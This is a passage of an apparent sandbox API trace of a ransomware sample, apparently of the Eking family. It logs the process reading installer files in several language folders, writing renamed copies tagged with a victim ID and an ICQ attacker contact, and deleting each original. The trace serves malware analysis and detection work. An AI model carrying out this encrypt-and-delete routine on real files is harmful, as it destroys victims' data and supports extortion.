[0079.867] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.867] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.867] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.867] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4958, lpOverlapped=0x0) returned 1 [0079.871] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4960, lpOverlapped=0x0) returned 1 [0079.872] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.872] CloseHandle (hObject=0x310) returned 1 [0079.873] CloseHandle (hObject=0x304) returned 1 [0079.874] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0079.875] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.875] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=6851) returned 1 [0079.875] CloseHandle (hObject=0x304) returned 1 [0079.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0079.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0079.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.876] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.876] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.876] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.876] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0079.912] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x1ac3, lpOverlapped=0x0) returned 1 [0079.914] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x1ad0, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0079.915] CloseHandle (hObject=0x304) returned 1 [0079.915] CloseHandle (hObject=0x31c) returned 1 [0079.916] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0079.917] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0079.918] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=72076) returned 1 [0079.918] CloseHandle (hObject=0x31c) returned 1 [0079.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0079.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0079.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.919] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0079.919] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.919] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.919] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.919] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x1198c, lpOverlapped=0x0) returned 1 [0079.925] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x11990, lpOverlapped=0x0) returned 1 [0079.928] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.928] CloseHandle (hObject=0x31c) returned 1 [0079.928] CloseHandle (hObject=0x304) returned 1 [0079.931] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0079.934] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.949] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=16728) returned 1 [0079.949] CloseHandle (hObject=0x320) returned 1 [0079.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0079.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0079.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.949] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.949] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.949] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.949] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.950] ReadFile (in: hFile=0x320, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4158, lpOverlapped=0x0) returned 1 [0079.954] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4160, lpOverlapped=0x0) returned 1 [0079.956] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.956] CloseHandle (hObject=0x320) returned 1 [0079.956] CloseHandle (hObject=0x304) returned 1 [0079.959] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0079.960] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.961] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=86442) returned 1 [0079.961] CloseHandle (hObject=0x304) returned 1 [0079.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0079.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0079.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.961] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.961] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.961] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.962] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0079.962] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x151aa, lpOverlapped=0x0) returned 1 [0079.992] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x151b0, lpOverlapped=0x0) returned 1 [0079.995] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.995] CloseHandle (hObject=0x304) returned 1 [0079.995] CloseHandle (hObject=0x320) returned 1 [0079.999] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0080.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0080.008] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18776) returned 1 [0080.008] CloseHandle (hObject=0x31c) returned 1 [0080.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0080.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0080.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0080.009] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0080.009] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0080.009] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0080.009] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0080.009] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4958, lpOverlapped=0x0) returned 1 [0080.053] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4960, lpOverlapped=0x0) returned 1 [0080.055] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0080.055] CloseHandle (hObject=0x31c) returned 1 [0080.055] CloseHandle (hObject=0x324) returned 1 [0080.057] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0080.058] SetEvent (hEvent=0x2cc) returned 1 [0080.058] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0080.064] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=80060) returned 1 [0080.064] CloseHandle (hObject=0x31c) returned 1 [0080.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0080.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0080.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0080.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0080.065] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0080.065] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0080.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0080.065] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x138bc, lpOverlapped=0x0) returned 1 [0082.318] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x138c0, lpOverlapped=0x0) returned 1 [0082.322] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0082.322] CloseHandle (hObject=0x31c) returned 1 [0082.322] CloseHandle (hObject=0x310) returned 1 [0082.327] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0082.329] SetEvent (hEvent=0x2cc) returned 1 [0082.330] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.359] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18264) returned 1 [0082.359] CloseHandle (hObject=0x324) returned 1 [0082.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0082.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0082.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.359] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.359] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.359] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.360] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0082.360] ReadFile (in: hFile=0x324, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4758, lpOverlapped=0x0) returned 1 [0082.385] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4760, lpOverlapped=0x0) returned 1 [0082.387] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0082.387] CloseHandle (hObject=0x324) returned 1 [0082.387] CloseHandle (hObject=0x320) returned 1 [0082.395] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0082.397] SetEvent (hEvent=0x2cc) returned 1 [0082.397] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0082.397] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=68226) returned 1 [0082.397] CloseHandle (hObject=0x320) returned 1 [0082.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0082.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0082.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.398] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0082.398] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.398] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, 